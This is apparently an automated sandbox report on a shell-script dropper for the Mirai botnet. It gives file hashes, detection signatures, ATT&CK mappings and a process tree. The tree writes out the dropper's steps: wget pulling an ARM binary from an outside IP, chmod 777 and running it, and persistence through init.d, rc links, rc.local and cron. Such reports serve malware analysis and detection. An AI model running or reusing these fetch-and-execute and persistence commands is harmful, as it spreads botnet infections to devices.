Analysis
- max time kernel
149s - max time network
136s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
30/10/2026, 22:33
Static task
static1
Behavioral task
behavioral1
Sample
l.sh
Resource
ubuntu1804-amd64-20261019-en
ubuntu-18.04-amd64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
l.sh
Resource
debian9-armhf-20260513-en
debian-9-armhf
13 signatures
150 seconds
Behavioral task
behavioral3
Sample
l.sh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
14 signatures
150 seconds
Behavioral task
behavioral4
Sample
l.sh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
9 signatures
150 seconds
General
- Target l.sh
- Size 4KB
- Sample261030-2glqfagy6m
- SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
- MD5 8030b6bdf0f8951ef3768c64ba667238
- SHA1 d62dc2042638c5a814d10adc4de073cf1e895f4d
- SHA512 114387404be9ea949d37da4655731feb4ac26007aca6254400522e4d561e8b23b9bb352dcbf2732ba81f5aa0d1ec4f2d3490d75fd358b224348deded009b26ce
- SSDEEP 96:zJgRXmrVdgImxt4uaxUQb5XlrLqsMt/z6TsMOc:zG2rVbqq5Xv79
- TLSH T1CD813ED6BC32C9B3B5EAC474BB9E7244FB87856E09543A02744EBC74670C56CA03E399
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
mirai
Botnet
-
MIRAI
Signatures
- Mirai ARM payload 1 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_mirai_arm - File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 778 chmod 780 chmod 770 chmod 776 chmod 777 chmod - Deletes itself 1 IoCs
pid Process 771 .b - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.b 771 l.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog .b File opened for modification /dev/watchdog .b - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/root l.sh -
description ioc Process File opened for modification /etc/init.d/bot cp - Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local l.sh - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself hgheesa6uopi66oq 771 .b -
description ioc Process File opened for reading /proc/77777cmdline .b File opened for reading /proc/111m�"cmdline .b File opened for reading /proc/111�"cmdline .b File opened for reading /proc/3333+,cmdline .b File opened for reading /proc/11/stat .b File opened for reading /proc/444/stat .b File opened for reading /proc/222cmdline .b File opened for reading /proc/1111�6cmdline .b File opened for reading /proc/66667cmdline .b File opened for reading /proc/6666/stat .b File opened for reading /proc/7777�8cmdline .b File opened for reading /proc/222v�"cmdline .b File opened for reading /proc/33/stat .b File opened for reading /proc/11111$cmdline .b File opened for reading /proc/66/stat .b File opened for reading /proc/7777�7cmdline .b File opened for reading /proc/777729cmdline .b File opened for reading /proc/33cmdline .b File opened for reading /proc/3333�*cmdline .b File opened for reading /proc/77777cmdline .b File opened for reading /proc/11cmdline .b File opened for reading /proc/444s�"cmdline .b File opened for reading /proc/1111�"cmdline .b File opened for reading /proc/77773cmdline .b File opened for reading /proc/77/stat .b File opened for reading /proc/99/stat .b File opened for reading /proc/999/stat .b File opened for reading /proc/88883cmdline .b File opened for reading /proc/8888/exe .b File opened for reading /proc/1111�%cmdline .b File opened for reading /proc/111/stat .b File opened for reading /proc/55cmdline .b File opened for reading /proc/22227cmdline .b File opened for reading /proc/5555n/cmdline .b File opened for reading /proc/55/stat .b File opened for reading /proc/77777cmdline .b File opened for reading /proc/7777/exe .b File opened for reading /proc/6666 7cmdline .b File opened for reading /proc/7777 7cmdline .b File opened for reading /proc/222i�"cmdline .b File opened for reading /proc/99cmdline .b File opened for reading /proc/1111�"cmdline .b File opened for reading /proc/3333�,cmdline .b File opened for reading /proc/22cmdline .b File opened for reading /proc/777s�"cmdline .b File opened for reading /proc/44/stat .b File opened for reading /proc/5555/stat .b File opened for reading /proc/77777cmdline .b File opened for reading /proc/7777�7cmdline .b File opened for reading /proc/7777�8cmdline .b File opened for reading /proc/66667cmdline .b File opened for reading /proc/7777 7cmdline .b File opened for reading /proc/3333/stat .b File opened for reading /proc/6666 7cmdline .b File opened for reading /proc/7777o9cmdline .b File opened for reading /proc/6666�6cmdline .b File opened for reading /proc/77775cmdline .b File opened for reading /proc/7777 7cmdline .b File opened for reading /proc/3333�+cmdline .b File opened for reading /proc/999�"cmdline .b File opened for reading /proc/3333cmdline .b File opened for reading /proc/77777cmdline .b File opened for reading /proc/7777�8cmdline .b File opened for reading /proc/3333�+cmdline .b - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/.comm .b - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.b wget
Processes
-
/tmp/l.sh/tmp/l.sh1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies rc script
PID:655 -
/bin/unameuname -m2⤵PID:657
-
-
/bin/rmrm -f .b2⤵PID:660
-
-
/usr/bin/wgetwget -qO .b http://77.239.124.141/b/armv7l2⤵
- Writes file to tmp directory
PID:663
-
-
/bin/chmodchmod 777 .b2⤵
- File and Directory Permissions Modification
PID:770
-
-
/tmp/.b./.b2⤵
- Deletes itself
- Modifies Watchdog functionality
- Changes its process name
- Reads runtime system information
- Writes file to shm directory
PID:771
-
-
/bin/catcat2⤵PID:772
-
-
/bin/chmodchmod 777 /var/.m2⤵
- File and Directory Permissions Modification
PID:776
-
-
/bin/chmodchmod 777 /var2⤵
- File and Directory Permissions Modification
PID:777
-
-
/bin/chmodchmod 777 /etc/rc.local2⤵
- File and Directory Permissions Modification
PID:778
-
-
/bin/cpcp /var/.m /etc/init.d/bot2⤵
- Modifies init.d
PID:779
-
-
/bin/chmodchmod 777 /etc/init.d/bot2⤵
- File and Directory Permissions Modification
PID:780
-
-
/bin/lnln -sf /etc/init.d/bot /etc/rc3.d/S99bot2⤵PID:781
-
-
/bin/lnln -sf /etc/init.d/bot /etc/rc5.d/S99bot2⤵PID:782
-
-
/bin/grepgrep -q /var/.m /var/spool/cron/root2⤵PID:783
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/.comm
- Size 6B
- SHA256 650055f7a72a23ad1ca0714a0cf6f93f7bfdfa6272888881d5322d72d8aa512a
- MD5 9fbe35e73d25fb94b03326898b8ca323
- SHA1 19f8b7319b4e6552881cf3eabf170f8291cf5f1e
- SHA512 81330f5bd639e0ec9693c62f2b7137b53933742642eb690f4d503ad06756e629332b0a465438d70cb3b7e0314267511c069e96df65c413d4479d59d30b57aa2a
- MD5 SHA1 SHA512
- Path /etc/rc.local
- Size 10B
- SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
- MD5 3e2b31c72181b87149ff995e7202c0e3
- SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
- SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
- MD5 SHA1 SHA512
- Path /etc/rc.local
- Size 36B
- SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
- MD5 5a7645a3c9532421ddefacee5b734c49
- SHA1 27ecea8c5b6c66f06f06c4cbb6abd9957e328b66
- SHA512 ddc52f9e216330137fc09a5125bde2d21473834f52e019b785d43520e13095913d096084155b76e8be4658193cd8ebde531156e2a0fde9686510d17be514dc9d
- MD5 SHA1 SHA512
- Path /tmp/.b
- Size 153KB
- SHA256 143d267e0343c59bab514dd0a47090ee6d8288746a62372ae86c0c70df182b9e
- MD5 feeb259de7299de5da798d8ca5a72876
- SHA1 f103f1e4dfbcc233206af9c69032f6e4e758b4ac
- SHA512 9f224cd91d72b2fa21c49e80c6882b0b0877c13f0408f14fb628d0f9dbd047b1011cb118e15ee815ff9413d8aad0bda81c6d3213668a1a1536345a94e6e1699f
- SSDEEP 3072:U+Ug9WIx0UEaK0U4560zSlzhXRzM9hO3+keLUM/9g2JCVF:U+UDIxLEaK0U456xl9RI9c3+ZgM/9d8T
- TLSH T150E32C56E6814B13C0D2177ABADF42453323A764D3EB73059928BFB43F8679E0E63606
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/.bpid
- Size 4B
- SHA256 7834d333b474fa250809895b392ec6569f4b4dd67674d25a633286b0df217cbb
- MD5 af1fec3fcf09a7092ac864fba3e8ac21
- SHA1 b031179e42c69089ee03d461fe2ea810ae10a826
- SHA512 a939d1f9da45624ea6cc78b00a912991e07b7eff008c7efb9eb4bb10e22c723d3d55abefb352ca583bf2d8eb0da409610d08717dc080fdd219b4b94f38b27224
- MD5 SHA1 SHA512
- Path /var/.m
- Size 334B
- SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
- MD5 876d241c66e2030083f4c2352ecc2ce8
- SHA1 8d7cd97fbdc929c32ec05fef8cca3f41a814be0e
- SHA512 c013a82196eee416db542eb9a4114973e1de3df76c50cd1965032f79c9ae0a14b728d09b9fa6af7f713fd422e902a380f907717ad1c550b74e20b8d8bcd4a154
- TLSH T1F4E07DE0F4281A3230C88DF4F69DC1505291C42F5DA11C54744A9D70370E9BCF17DB31
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/root
- Size 37B
- SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
- MD5 9ba33aff44b9928b56a63b7a4bf3f120
- SHA1 83fe59ef376a6f5220da36b89eb80ecea6cdb7db
- SHA512 146c40cb28327c15c19b6e1e45dce7d87f5b320c7e4c5f618127b354b1c73a0c6b7ca15314f0f7a28db571536de658cb6b694bbeccdac9e86c71aa23bb3bad37
- MD5 SHA1 SHA512